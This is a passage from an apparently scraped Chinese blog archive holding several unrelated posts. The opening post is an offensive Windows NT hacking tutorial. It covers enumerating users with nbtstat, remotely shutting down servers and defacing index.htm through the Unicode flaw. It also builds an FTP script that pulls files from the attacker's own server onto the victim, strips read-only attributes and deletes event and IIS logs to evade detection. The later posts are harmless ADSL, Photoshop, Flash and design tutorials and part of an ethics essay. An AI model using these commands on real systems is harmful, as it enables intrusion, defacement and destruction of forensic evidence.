egisteredRegisteredRegisteredRegisteredMACAddress=00-E0-29-14-35-BAPENTIUMIIUNIQUEPENTIUMIIUNIQUEORAHOTOWNGROUPORAHOTOWNGROUPORAHOTOWNUNIQUEPENTIUMIIUNIQUEINet~ServicesGROUPIS~PENTIUMII...UNIQUEORAHOTOWNGROUPORAHOTOWNUNIQUE..__MSBROWSE__.GROUP粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是的话，那他前面的就是用户。这里的用户是PENTIUMII。8：Shutdown关了对方的NT服务器的命令Shutdown\\IP地址t:2020秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。9：DIR这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。你可以本地试下。10：echo著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。我们假设我们要把“南京大屠杀铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么区别。echo南京大屠杀铁证如山，任何日本人不得抵赖！>index.htmecho南京大屠杀铁证如山，任何日本人不得抵赖！>>index.htm第一个的意思是覆盖index.htm原有的内容，把“南京大屠杀铁证如山，任何日本人不得抵赖！”写进index.htm。第二个的意思是把“南京大屠杀铁证如山，任何日本人不得抵赖！”加到index.htm里面。“>>”产生的内容将追加进文件中，“>”则将原文件内容覆盖。大家可以本地试下。可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。1、首先，我们需要申请一个免费的主页空间。2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。）openupload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的）cnhack（你申请时的用户名）test（你申请时的密码）getindex.htmc:inetpub（这里是把你空间上的index.htm下载到对方的c:inetpub）bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）具体的做法：输入echoopenupload.chinaren.com>c:cnhack.txt输入echocnhack>>c:cnhack.txt输入echo39abs>>c:cnhack.txt输入echogetindex.htmc:inetpub>>c:cnhack.txt最后输入ftp-s:c:cnhack.txt（利用ftp的-s参数，执行文件里的内容。）等命令完成时，文件已经下载到你指定的文件里了。注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。）记得要delc:cnhack.txt11:attrib这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。attrib-rindex.htm这个命令是把index.htm的只读属性去掉。如果把“-”改为“”则是把这个文件的属性设置为只读----------------------attribrindex.htm这个命令是把index.htm的属性设置为只读。12el当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。NT的日志有这些delC:winntsystem32logfiles*.*delC:winntssytem32config*.evtdelC:winntsystem32dtclog*.*delC:winntsystem32*.logdelC:winntsystem32*.txtdelC:winnt*.txtdelC:winnt*.log只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。201*.2.1022:04作者：chenjiamiao520收藏|评论：0ADSL常见故障及维护分类:ADSL常见故障及维护ADSL是目前宽带上网的主流形式，下面我们就给大家介绍一些用ADSL上网时的常见故障及维护方法，希望能对你有所助益。1.ADSL的最简单故障判断方法？解答：可根据ADSLModem面板上的信号灯的显示情况进行问题的初步判断，如下：“ADSL”灯：用于显示Modem的同步情况，常亮绿灯表示Modem与局端能够正常同步；红灯表示没有同步；闪动绿灯表示正在建立同步。“10BaseT”灯，用于显示Modem与网卡或Hub的连接是否正常，如果此灯不亮，则Modem与计算机之间肯定不通，当网线中有数据传送时，此灯会略闪动。“ATM25”灯，显示ATM25口状态，一般不用。“Maint”灯，与远程管理有关，一般为常亮。“Power”灯，电源显示。2.用ADSL上网会使电话服务的质量下降吗？另外，打电话是否会导致上网速率下降吗？解答：ADSL设备在设计上已经考虑到这一点，使用频分复用的技术将电话音与数据流分开，互相不干扰。在实际线路的测试中，安装ADSL的电话与普通电话的语音没有任何区别：而在传输数据信息的时候，提起话机，挂断电话及随意通话，传输速率保持不变。3.为什么有时候ADSL访问速度并不比普通拨号MODEM快多少？解答：造成ADSL访问速度慢的情况有如下：a.如果访问国外站点，访问会受到出口带宽及对方站点配置情况等因素影响；b.由于ADSL技术对电话线路的质量要求较高，而且目前采用的ADSL是一种RADSL[即速率自适应ADSL]，如果电话机楼到用户间的电话线路在某段时间受到外在因素干扰，RADSL会根据线路质量的优劣和传输距离的远近动态地调整用户的访问速度。4.ADSL有时不能正常上网，这是什么原因呢？解答：ADSL是一种基于双绞线传输的技术，双绞线是将两条绝缘的铜线以一定的规律互相缠在一起，这样可以有效的抵御外界的电磁场干扰。但市面大多电话线是平行线，从电话公司接线盒到用户电话这段线很多用的都是平行线，这对ADSL传输非常不利，过长的非双绞线传输会造成连接不稳定、DSL灯闪烁等现象，从而影响上网。由于ADSL是在普通电话线的底频语音上叠加高频数字信号，所以从电话公司到ADSL滤波器这段连接中任何设备的加入都将危害到数据的正常传输，所以在滤波器之前不要并电话、电话防盗打器等设备。5.根据ADSL的速度，本地下载应该在1M以上，为什么实际才100-300K之间呢？解答：速率单位的问题。号称56K的modem下载最大才5-6K。56K单位是bit,而下载时的速率显示是byte。1byte=8bit。所以下载显示是200kB时，其实已经达到了1.6Mbit，已经相当快了。由于服务器和客户端硬盘读写速度等诸多原因，本地下载速度还不能发挥ADSL2-8Mbit/s的最大能力。我们也期望更快的服务器出现。6.为什么ADSL的指示灯都正常也会掉网？解答：ADSL的指示灯中，最重要的灯是“ADSL”指示。在ADSL线路没问题的时候，这个灯应该是绿色的。但是有些用户在“ADSL”指示灯都正常的时候也会掉线，而且重新启动MODEM就好了。这种情况多发生在没有做代理服务器，没有做放火墙或路由器的网络用户上面，这是为什么呢？因为在ADSLMODEM上有个“10Base-T”口，这个口是接局域网的，实际上是个HUB口。虽然是10M的端口，但是ADSL的上行带宽只有几百Kbit/s。如果用户局域网内部是ADSL直接接HUB，HUB再接下面的客户机，网络内的许多与ADSL无关的数据包将占用ADSL上行通道，ADSL也无法控制局域网内的广播风暴，如过超过ADSL上行传输能力，数据包将装入ADSL的缓存，如果数据量继续增大，缓存溢出，造成ADSL“休眠”现象。这样只有重新启动MODEM了。解决办法是资金不太雄厚的用户可以做一台双网卡的代理服务器（一定要双网卡），这样可以隔断MODEM与局域网之间的直接通信，避免上述问题。单位用户最好用防火墙或路由器。7.为什么有时虚拟拨号时会失败？解答：ADSL虚拟拨号软件在使用时有以下几种错误信息：a.拨号窗口显示“BeginNegotiation”然后等待，最后直接弹出菜单“timeout"。这种情况表明网络不通。原因有:ADSL上的10BaseT端口上的网线没有连接好;ADSL网络不通,可以重启ADSL后再试。b.拨号窗口显示“BeginNegtiation”,然后“Authenticating”,最后“AuthenticationFailed”。这种情况表明你的帐号或密码有误。c.拨号窗口显示“BeginNegotiation”,然后“Authenticating”,然后“ReceivingNetworkParameter”,最后弹出菜单“timeout"。这种情况表明拨号IP地址已经被占满，请稍后再拨。8.ADSLModem上的"ADSL"灯为什么会变红,怎样尽量避免?解答：ADSL上的"ADSL"灯(最前面的灯)是ADSL最为重要的指示灯,它是判断ADSL是否能通讯的第一步。“ADSL”灯有几种状态:“ADSL”灯如果长绿,表明用户端的MODEM与电信局端的MODEM已经建立好了物理上的连接这叫作"同步",这是ADSL正常工作的第一步,是最为重要的一步。“ADSL”灯如果变成红色,表明用户端的MODEM与电信局端的MODEM的物理连接已经断开这叫作"失步"。“ADSL”灯如果正在闪烁,表明用户端的MODEM与电信局端的MODEM正在试图建立连接,也就是说同步进行中。当用户将ADSLMODEM加上电源几十秒后,"ADSL"灯就从"红色绿色闪烁长绿"变化,这就是建立同步的过程。如果ADSLMODEM正在使用中出现"ADSL"指示灯变红的现象,就说明此时此刻你的电话线路上有强干扰;电话线路上某个接头没接好,有松动现象;线路故障。解决办法及注意事项:a.ADSL线路上不能并分机,电话只能从分离器PHONE端口引出,否则会引起ADSL失步。b.线路上的接头一定要接好,特别是用户房屋内部的接头。c.如果从电信局分线盒内出来电话线太长,应将平行线换成双绞线,提高线路抗干扰能力。d.ADSL有时会受到天气原因的干扰,比如大雨等.用户可以等几个小时就会自然恢复201*.2.1022:00作者：chenjiamiao520收藏|评论：0Photoshop金属效果的教程分类:Photoshop金属Photoshop作为专业的图象设计软件能够做出各种梦幻般的特效。本例就是用制作出一种个性化的金属效果。1.新建文件，大小随便的，要看需要的嘛2.新建一个图层(lix有不在background上做东西的习惯)，然后用钢笔工具锚出你所需要的外形，这里就用lix那个不知道什么东西的外形示范吧。此主题相关图片如下：3.把这个路径转成选区，填个比较深的灰色此主题相关图片如下：4.新建一个层，载入图层的选区，填充白色；然后取消选区，用三次高斯模糊（三次的数值分别为16、8、4），这样做的意思是让模糊很厉害的地方和不厉害的地方能有很好的衔接，当然你也可以不用这三个数值了，好了以后把这个层的模式改成屏幕。此主题相关图片如下：5.载入图层1的选区，进入通道面板，然后按这个（见下图)此主题相关图片如下：6.点击通道alpha1，别取消选区哦，在这个通道上用几次高斯模糊（视情况而定哦），一般来说，越模糊将来的作品的厚度会更厚更圆滑，相反就比较薄和硬了（不过模糊是一定要做的，不然将来的东西可是平板了）。如果你还想在你将来的作品上加些纹理什么的，你现在就可以在这个通道里加上去了，注意了，这个通道里只有2种颜色，即黑与白，黑色是凹，白色是凸，可能看看文字还是很清楚，不过你可以试试。弄好以后有2种选择，一是反选后按delete，二是什么也不做，一呢？可以使将来的作品的凹凸感更明显点，但背光的地方会有毛刺，二将来的凹凸感没一这么好，但没有毛刺，自己选择吧~此主题相关图片如下：7.回到图层面板，载入图层1的选区，新建一个图层，新图层置于最上层，填充黑色，取消选区，改变图层模式为屏幕。这时这个层会像消失一样，不用担心此主题相关图片如下：8.对这个图层用光照效果，看看图示（大致的，做不得准），灯光类型是随便的，光照类型要“平行光”，环境设成-100，纹理通道选择alpha1，其他设置只要能让这个图形有光面和暗面呈现出立体感了就可以了，看你喜欢了此主题相关图片如下：9.以下几步为了避免大家可能产生的本本主义，lix决定不放图片（别打..）对刚刚用光照的层先用一次高斯模糊，参数设1，消除可能出现的不平整的地方嘛。然后用曲线调整一下，让光暗面更明显更适合你的需要。（lix建议不要让对比度太厉害）10.再载入图层1的选区，新建一个层，填充50%灰色，置于最上层，用滤镜>>素描>>铬黄，具体参数要看你的图形了，好了以后把这个图层的模式改成为“叠加”，再用曲线调整，把光亮面和亮光的程度调到你心里所要的11.大功告成，如果你不喜欢这个让你讨厌的灰色，可以按ctrlU来调颜色（合并层以后或者改层1的)此主题相关图片如下：201*.2.1021:37作者：chenjiamiao520收藏|评论：0Flash经典问答百例分类:Flash经典问答百例问：如何快捷地对齐不同Frame中的物件,包括左对齐,右对齐？答：用Inspector“CtrlAltI”直接输入坐标。或是工具栏〉〉窗口〉〉面板〉〉排列“CtrlK”调出排列面板来。问：我到现在还没研究出来,如何使一个物件谈化？答：淡化选中Symbol，Modify〉〉Instance〉〉Coloreffect〉〉Alpha调整就可以了。问：Modify菜单下的Instance常常不知为什么变成不可点击状态,请问如何才能再次激活它？答：Instance选项只有在选定了某一对象时才能激活，若你不选择对象，它是不可激活的。你选中的对象必须是Symbol才行。问：我做好的Flash放在PAGE上面以后,它老是循环,请问怎么能够让它不进行循环？答：最后一个Frame的Action设置成Stop()。问：请问Flash前面的LOAD怎么做的？答：主要是关于Action，ifframeisloaded()的用法，新建一层，这层专门放Action,第一帧，ifFrameLoaded("场景",frame){gotoandplay()}，第二帧，gotoandplay("场景1",1),再加上一段load的movie循环播放在这两帧的中间，就行了。问：如何生成一个物件或文字的阴影？答：一种就是用位图，用Photoshop或者fireworks。一种是用深颜色做，就是将要加阴影的东东做成Symbol.然后做两层。把下面一层Symbol的coloreffect改成你要的效果（一般是改成brightness=0）再偏移就可以了。问：请问我在SYMBOL里面做的物件怎么一拿出来就变得很大？在SYMBOL里面的尺寸和外面的怎么算啊？答：大概是百分比吧。没有个太准确的算法啊！用“CtrlAltI”可以调整长宽和位置。问：如何让Flash内的文字变形？答：用“CtrlB”打散它，进行Shape变换，Tweening的时候不选Motion,而选Shape,这样你会看见绿色的箭头。问：如何点击一个Flash动画后，转向新的网页，是不是必须是按钮，按钮的动作中加入那一条命令？答：不是按钮也可以，运行到一个Frame执行ActiongetURL(url,window,method)；就行了。当然在Button处加个Action，getURL(url，window，method)也可以。问：如何在Flash中控制音量？答：在sound的选项中，可以选择淡进淡出或者其它的效果也可以自己调节那个方块的控制柄来调节音。问：在下对Flash很感兴趣,但目前我对它的制作方法一点都不知道,究竟用什么工具制作的？常用哪些软件来配合使用？如何能把它放在WEBSERVER上？答：用Flash来制作，Flash是MACROMEDIA公司出品，你可以去它的网址Download，Flash5自带有发布到WEB上的工具。问：请问自己在Flash中加入自己录入的歌曲？还有请问是什么格式的？答：用IMPORT功能（CtrlR），声音或音乐格式为WAV，Flash5支持mp3的导入。问：如何调整EXPORTGIF的SIZE？答：输出Movie的时候可以调整的，我在出动画gif的时候都是先出avi，再转成gif。问：我在做按钮时，如果做一个按钮名叫Button,运行时在Mouseover状态时，字符B和字符U之间的空隙能不能被激活？答：显然，在设置Mouseover时没有确定范围，就是在Button的最后一帧Hit那里，可以选取矩形并填色，以确定over的范围，记住要保证矩形覆盖按钮，在做Button的时候，一定要记住确定Hit的范围。问：如何判断用户的浏览器有没有Flash的插件？答：用AfterShock可以生成一个现成的。最简单的方法用Dreamweaver来写Html。使用Behavior中的Checkplugin就可以了FLASH经典问答第一篇：FLASH资源问：请介绍几个几个国内比较好一点的FLASH论坛。答：闪客帝国闪盟在线:问：现在市面上FLASH的书那本最好？答：《网页动画制做－flash4》是一本很不错的书，由老虎工作室编著，出版：人民邮电出版社，定价：42元，带1HD。如果想提高看《FLASH十全大补》，出版：希望出版社，定价：50.00元。带1CD。台湾两只老虎中的胭脂虎所著。另外《flash4跃动的网页》也不错，由台湾施威铭研究室编著，定价：59元，出版：中国青年出版社，带1CD。问：请国内有哪些地方提供矢量图库和音效？答：矢量图形：;曦曦天地;闪光地带;闪客沙龙;东瓜茶轩音效;灰丫音效资源站下面的地址有更详细的说明~eastecho/fbb...44.html关于图库~eastecho/fbb...45.html关于音效问：请介绍一些国外的FLASH教学站点。答-fx.net/;内有大量英文教程，分类详细。-here.com/forum一个不错的英文FLASH论坛。唇诱镜慵凹蚱馈?/a>第二篇：flash基础问：很多人说到的MC、FS代表什么意思？答：MC=MovieClip。动画片断。FS=FSCOMMAND，是FLASH的一个非常重要的一个命令集合。问：MC到底如何运用呢？我是指将一个MC引用到场景中后，如何播放？一个很长的MC放在场景中要占据几帧的位置？答：把MC拖到场景中，动画播放时它就会自动播放，如果你没有在最后一帧加上stop，MC会默认为循环。这里要提一下，要观看播放的效果须执行CtrlEnter。一个很长的MC放入场景中也只占据一帧的位置，如果将它拖了很多帧，执行时每隔一帧MC都会重放。问：为什么在用flash做“沿轨迹运动”时总是沿直线运动，和教程对照了一下，做法完全一样，怎么不行？答：这个问题似乎总会困扰初学者，但实际上问题很简单。首尾2帧中心位置没有放准在轨迹上。一个简单的检查办法：你把屏幕大小设定为400%或更大，察看图形中间出现的圆圈是否对准了运动轨迹。问：为什么我在FLASH中做旋转为什么总是转不快。有什么办法可以转快一点呢？答：你把播放速度调快，比如30祯/秒，方法：主菜单->modify（修改）->movies（影片）,加大Framerate（影格速度）的值便可。问：请问制作按钮时，“hit”是用来做什么的？什么时候需要用到？很多教程都没具体讲解“hit”的用法。答：hit是指定按纽的激发区域。在HIT内设定的区域在播放时是不会显示出来的。如果没有指定HIT区域，一般FLASH会默认你的按纽区域作为激发区域。比如：用文字做按钮时，最好能定义一个矩形来做触发区，而不是系统默认的文字内容。问：如何把flash放P201*、FP98中去？答：FP98和FP201*对FLASH的支持较差，不能直接在其中插入FLASH动画，解决办法是在SWF文件发布、原代码生成后，把HTML文件中的部分拷过去便可。建议使用DREAMWEAVE来制做FLASH动画网页，会方便很多。问：如何把一个fla文件输出成和swf一样的gif文件答：先在Publishsettings（发布设置）->format（格式）->Gifimage（gif影像），并对其进行相应的设置之后，用Publish（发布）功能便可输出GIF文件。如果FLA文件中含有MC，那么GIF文件中将不会包含MC中的动画，而将只将MC的第一桢转化为GIF。问：把做好的一个只有十几K的FLASH放入网页中后，预览网页时，为什么要等好长时间FLASH才能被显示。答：检查SWF文件的名字．路径是否正确，如果不正确系统会试图长时间等待。问：如何设置FLASH的背景？答：设定背景颜色可以按CtrlM，选color项里的BACKGROUND（背景），如果想用一幅图形做背景只需在最下的一个层import（输入）一幅图像便可。问：在FLASH中，怎样画一个圆圈，如何修改圆圈的颜色？答：画圆的时候把填充色（颜色设定的左上角选项）设为无就可以了！把边框的颜色设定为相应颜色便可。问：外部导入txt如何变字体的颜色？答：在设定文本框时，设定字体的颜色。问：才打开FLASH4时使用铅笔工具画圆时还可以，但再次新建一个时用铅笔工具画圆时（模式是平滑）画出来的却不是一个圆或者椭圆！这是怎么回事？答：按住Shift的同时画圆，你能画的更圆！问：我做出来的文字与图形总是很难对齐，请问如何对齐目标，并把它们放到你想要的位置。答：选中目标，然后从主菜单->windows（窗口）->inspector（查看窗）->object（对象）然后便可以调节它的高（h）、宽（w）、起始位置（x,y）和是否中心对齐（usecenter）。问：如何才能将文字或图画做变形？答：CtrlB把动作的头和尾打散后即可！symbol是不能做shape的。问：请问如何将文字或图镂空？答：打散字或者图形，先用涂边框工具将它的边缘上色，然后再选中中间部分将之删除便可。问：如何制作边缘模糊的MASK效果？答：在做好MASK效果后再在其上面加一层有模糊边缘的色块。问：FLASH4的多个场景之间如何调整播放次序？答：主菜单->windows（窗口）->inspector（查看窗）->Scene（场景），可以对场景进行调整播放次序、改名、删除等*作。第三篇：flash进阶问：请问在Linux下如何观看flash动画，有插件forLinux的么？答有。问：刚下载安装的Flash插件已落户在电脑的什麽地方?答：在C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\\\\\\\\\SYSTEM\\\\\\\\\\\\\\\\Macromed\\\\\\\\\\\\\\\\Flash里看看问：如何将fla文件直接生成exe文件？答：带有标题栏的swf文件可以通过菜单直接生成exe，是在FlashPlayer打开swf文件，然后选择file（文件）->creatprojector（建立项目）。如果加上了FS命令将文件全屏显示后标题栏没了，便可用CTRLF热键来生成。生成的执行文件内置了播放器，将比SWF文件大二百多K。问：请问如何把做好的flash转换成屏幕保护程序？答：用SWFbrowser2.8或者screensaver有下载。问：如何在FLASH中实现3D效果。答：在FLASH中不能其接生成3D的动画，需借助其它的软件才行。比如3DMAX，然后再安装上vecta3D或者Illustrate!4.0（4.1）插件便可以直接输出swf格式的动画了。最新的3D制做工具是Swift3D,上述插件与工具有下载，可惜这些工具对系统要求比较高，建议CPU低于400，内存项就OK。若是在html中引用flash可在html文件中的前加上下面的语句:。不过透明只能在IE中可以，在NC中便失效了。问：有什么方法能把普通位图图片转换成矢量图片呢？答：用AdobeStreamline软件有软件下载并有一简单教程，或用FreeHand8转换亦可。问：请问那种格式（后缀）为矢量图？请问用那个软件可以浏览这些矢量图？答：*.ai*.eps*.wmf*.cdr，其中前面三种可以在FLASH中直接引用。cdr格式需转换成前三种格式方可引用。如果你安装了CORLDRAW便可以在资源管理器中直接预览CDR格式的图形。其他格式的还没有软件能够象ACDSee浏览普通图片一样大量浏览。问：在SWF中，怎样去掉点击鼠标右键所出现的内容？答：在publishsettings里面有showmenu的勾选。但是对于网页上的flash它始终会出现flash字样。如果你把它做成exe文件的话，就什么也没有了。问：如何让双击SWF文件时可以直接满屏播放？答：在最后一桢的ACTION里选FSCOMMOND一项，然后在右边选中fullscreen,true，便可！问：怎么做出象电视受干扰时的雪花啊？？答：先画一些短的白线条（细一点，稍微有点灰度），然后做几个关键帧，每帧里随机的放一些，连续播放一下就有效果了。问：请问一串字或一幅图由模糊变清晰的效果怎样做？答：刚开始的时候将ALPHA（透明度）设小一些，最后位置的ALPHA0%，关键祯之间用MOTION变化。注意，是SYMBOL才能MOTION，除了用alpha外，最关键的还是要用相同内容不同的层来错开，做出模糊的效果！问：打字的效果是怎么做的（就是字一个一个地出来）需要把每个字都转换成组件吗?答：方法1、为每一个字建立一个MC，然后在第一帧中引用第一个字，隔两至三祯，按F6，复制关键祯，再引用第二个字，再隔两，三祯，按F6，引用第三个，以此类推。如果加上打字的音效，效果会更好。本方法适于字数较少的地方。方法2、如果你只是简单地让它们出现，可以在字上加一层，然后用底色做一个矩形，把字遮住。并将矩形设定为MC，给实体命一个名字（instancename），然后用SetProperty语句编程实现矩形的跳着移动便可。这种办法适于字数较多的地方。第四篇：FLASH的声音处理问：如何制作音乐开关？思路：将音乐放入MC，用TellTarget来控制这个MC的播放和停止。相关文章或源文件：作者：边城浪子作者：小东瓜问：请问如何调节音量答：用纯粹的FLASH不能连续调节音量，只能分段调节。《闲吹慕坛獭?/a>问：如何在文件中加可控制的背景音乐答：天极网有教程作者：starwind问：如何使声音无限循环？答：将声音的循环次数定义成足够大便可。问：怎样在音乐完成后执行一个动作？答~eastecho/fbbs/Forum2/HTML/000382.html;问：请问如何借用别人作品中的内容。是否可以将SWF文件完全解码成FLA文件。答：用SWFbrowser2.8可以解开别人的SWF文件，将其中的图像．声音取出保存。到目前为止还没有任何一个软件可以将SWF文件完全反变换成FLA文件。问：怎样才能截取音乐？答：闪光地带）里面有SoundForge，用内录的方法录制，效果非常好，如果音量变小了，用effect里面的dynamicgraphicexpand可以扩大。另外CoolEdit、GoldWave也是很不错的选择。问：我想在一个CD或VCD里面保存一个声音文件是怎么样保存的呢？我想我所保存的声音可以导出在FLASH里面使用。请问Flash中如何加入.mp3?答：用sthvcd，vcdcutter或其他东东剪下来就可以了。Flash中不能加入mp3，若为mp3格式，可通过winamp或其它软件转成wav，然后要编辑的话用soundforge4.5。问：那里有SoundForge4.5的教程？答;音乐编辑那个栏目。问：请问如何把midi转换成wav?答：MIDI转EAV的方法如下：1。用WINGROOVE这个软波表直接转换，不过音色是WINGROOV自带的，没有得选择余地的！所以这是最简单最原始的方法，效果一般！这个软件~hiroki/english有下载。2。用两个声卡，一个放一个录。放的那边用软波表，如YAMAHA100等或者声卡自带的硬波表，录音后还可以降噪！此方法还可以！但是如果结合下面的方法就更好了！3。用软音源软件，如REALITY或者GIGASAMPLER等代替波表，使用专门的音色库来转，这样只要一个声卡就解决问题了！此方法可以使用你认为最好的音色，音质也是几乎没得挑剔的，WAV的质量接近下面的方法了！4。如果你钱很多的话，就用专门的音源和硬盘录音机吧！第五篇：FLASH的Action功能问：如何通过按钮给别人发E-mail.答：geturl:mailto:dongua@21cn.com问：如何用GETURL功能打开一个窗口答：在geturl中输入javascriptop（‘dongua.htm’,550,400），geturl支持简单的JAVASCRIPT语句，这种方法跟选择_blank不同。问：在主页中，flash文件老是自己重复播放，不知怎样实现只播放一次答：在最后一桢的ACTION中加上STOP语句!问：关键帧中的脚本里stop后的脚本会不会起作用？答：stop语句只停止帧的播放，并不能停止该STOP所在关键帧的ACTION语句的执行。问：我如可才能把“别人网页”中的SWF文件下载到自已的硬盘上呢？答：方法1、在FLASH动画上单机鼠标右键，选目标另存为OK！方法2、在你的浏览器缓冲目录里面有你看过FLASH的SWF文件！一般情况下系统的默认目录是：windows->TemporaryInternetFiles，查找swf文件，其中保存的swf文件数量跟浏览器设定的缓存空间有关，然后将它COPY出来便可。问：如何计算sin、cos等函数？思路：利用有关的数学公式将函数转换相关文章或源文件：作者：小魔女东瓜茶轩问：要得到a值除以b值所得到的余数,其表达式该怎么写?答：a-b*int(a/b)便可！问：如何在FLASH中重复播放部分影格N次然后再跳转?答：SetVariable:“i”=1SetVariable:“time”=5comment:time表示重复次数。comment:以下是想重复的内容帧名为repeat…………If（i[url~eastecho/fbbs/Forum2/HTML/000590.html作者：boat问：如何...TML/000142.html;作者：RichardJamesRose作者：MartynvanBeek问：如何制作Loading？答：使用_framesloaded、_totalframes两个变量可以完成相关文章或源文件：作者：边城浪子作者：小东瓜问：如何判断载入外部swf的进度？答：可以使用被载入swf的_framesloaded、_totalframes两个变量，加上被载入动画的名字。相关文章或源文件：~eastecho/fbb...TML/000516.html;问：如何把FLASH中的输入的文本存到另一个文本文件！答：FLASH自己不行！需要与其他软件联合编程来完成。比如：ASP,PERL,PHP。问：经常听到别人说到路径，到底FLASH中的路径起到一个什么作用？答：如果你用过DOS，您就可以很容易理解FLASH的路径。简单地说，路径就是在FLASH编程时能够找到变量或者符号（symbol）所经过的路。其方式跟DOS一样，分成相对的和绝对的两种。可以看一看下面两个地址中介绍的内容：~eastecho/fbb...TML/000009.html;~eastecho/fbb...TML/000525.html;问：flash编程用什么工具软件较好答：用ActionClip1.4，你先在任何一个文本编辑软件中写完程序之后，将程序部分COPY至剪贴板，然后运行ActionClip将之转化，然后到flash中将之PASTE便可。这个工具很小巧，在闪光地带（http:/zippy.yeah.net）有一个更好一点的工具FlashActionScriptToolBeta2注册版下载，支持所有的FLASH命令,可自动生成一些简单的程序。201*.2.1021:35作者：chenjiamiao520收藏|评论：1平面设计基础知识分类:平面设计基础知识设计的学习可能有很多不同的路，因为这是有设计的多元化知识结构决定的，不管你以前是做什么的，不管你曾经如何如何，在进入设计领域之后，你以前的阅历都将影响你，你都将面临挑战与被淘汰的可能，正如，想要造就伟大永远不可能是依*人们的主观愿望所能达到的一样第一节：你确认你要进入这一领域吗？--设计师的知识结构设计多元化的知识结构必将要求设计人员具有多元化的知识及信息获取方式。第一步：从点、线、面的认识开始，学习掌握平面构成、色彩构成、立体构成、透视学等基础；我们需要具备客观的视觉经验，建立理性思维基础，掌握视觉的生理学规律，了解设计元素这一概念。第二步：你会画草图吗？1998澳大利亚工业设计顾问委员会调查结果，设计专业毕业生应具备的10项技能第一位就是：“应有优秀的草图和徒手作画的能力，作为设计着应具备快而不拘谨的视觉图形表达能力，绘画艺术是设计的源泉，设计草图是思想的纸面形式，我们有理由相信，绘画是平面设计的基础，平面设计的设计的基础！”第三步：你还缺少什么？缺少对传统课程的学习，如陶艺、版画、水彩、油画、摄影、书法、国画、黑白画等等，太多太多，你还是问问自己吧！不管如何这些课程将在不同层次上加强了你设计的动手能力、表现能力和审美能力，他们最关键的是让你明白什么是艺术，更重要的是你发现你自己的个性，但这也是一个长期的过程。第四步：“我可以开始设计了吗”？当然不行，你要设计什么？正如你要开始玩游戏了，你了解游戏规则吗？不过你不用担心，你已经进入了专业自身的学习，同时也意味着你才刚刚开始，你将不折不挠，不浮躁不抱怨、务实的、实事求事的态度步入这一领域。我们以标志设计为例，我们需要具备什么样的背景知识，标志的意义、标志的起源、标志的特点、标志的设计原则、标志的艺术规律、标志的表现形式，标志的构成的手法、我们需要理解为什么？为什么可口可乐会红遍全球；为什么我们渴望穿Lee牌牛仔裤？作为一名设计师，你对我们周围的视觉环境满意吗？问问自己，你的设计理想是什么？第五步：你能辨别设计的好坏，知道为什么吗？上一步通过对设计基础知识的学习，不知不觉你已经进入了设计的模仿阶段，为了向前我们必须回顾历史，既而从理论书籍的学习转变为向前辈及优秀设计师学习。这个阶段伴随着一个比较长期的一个过程，你的设计水平可能会很不稳定，你有时困惑、有时欣喜，伴随着大量的实践以及对设计整个运转流程逐渐掌握，开始向成熟设计师迈进。你需要学会规则，再打破规则。第二节：你能成为优秀出众的设计师吗？--对设计师的要求1、成功的设计师应具备以下几点：A、强烈敏锐的感受能力B、发明创造的能力C、对作品的美学鉴定能力D、对设计构想的表达能力E、具备全面的专业智能现代设计师必须是具有宽广的文化视角，深邃的智慧和丰富的知识；必须是具有创新精神知识渊博、敏感并能解决问题的人，应考虑社会反映、社会效果，力求设计作品对社会有益，能提高人们的审美能力，心理上的愉悦和满足，应概括当代的时代特征，反映了真正的审美情趣和审美理想。起码你应当明白，优秀的设计师有他们“自己”的手法、清晰的形象、合乎逻辑的观点。2、设计师一定要自信，坚信自己的个人信仰、经验、眼光、品味。不盲从、不孤芳自赏、不骄、不浮。以严谨的治学态度面对，不为个性而个性，不为设计而设计。作为一名设计师，必须有独特的素质和高超的设计技能，即无论多么复杂的设计课题，都能通过认真总结经验，用心思考，反复推敲，汲取消化同类型的优秀设计精华，实现新的创造。3、平面设计作为一种职业，设计师职业道德的高低和设计师人格的完善有很大的关系，往往决定一个设计师设计水平的就是人格的完善程度，程度越高其理解能力、把握权衡能力、辨别能力、协调能力、处事能力将协助他在设计生活中越过一道又一道障碍，所以设计师必须注重个人的修为，文人常说：“先修其形，后练其品”。4、设计的提高必修在不断的学习和实践中进行，设计师的广泛涉猎和专注是相互矛盾又统一的，前者是灵感和表现方式的源泉，后者是工作的态度。好的设计并不只是图形的创作，他是中和了许多智力劳动的结果，涉猎不同的领域，担当不同的角色，可以让我们保持开阔的视野，可以让我们的设计带有更多的信息。在设计中最关键的是意念，好的意念需要学养和时间去孵化。设计还需要开阔的视野，使信息有广阔的来源，触类旁通是学习平面设计的重要特点之一，艺术之间本质上是共通的，文化与智慧的不断补给是成为设计界长青树的法宝。5、有个性的设计可能是来自扎跟于本民族悠久的文化传统和富有民族文化本色的设计思想，民族性和独创性及个性同样是具有价值的，地域特点也是设计师的知识背景之一。未来的设计师不再是狭隘的民族主义者，而每个民族的标志更多的体现在民族精神层面，民族和传统也将成为一种图式或者设计元素，作为设计师有必要认真看待民族传统和文化。201*.2.1021:34作者：chenjiamiao520收藏|评论：0走向道德观点的转换分类:走向道德观点的转换现代社会的伦理之所以要从君子伦理、圣贤伦理、英雄伦理转向一种普遍主义的底线伦理，后面是有一种社会变迁的深厚背景的，不过，我们在此不探询这种背景，而是想询问这种伦理转变的一个关键：即道德观点的转换。我们首先要问，什么是道德观点？这里所说的“观点”，不是指现成的理论观点，而是指优先的观察点，观察的角度。古人所言“仁者见仁、智者见智”中的“见”，我们日常所说“旁观者清”中的“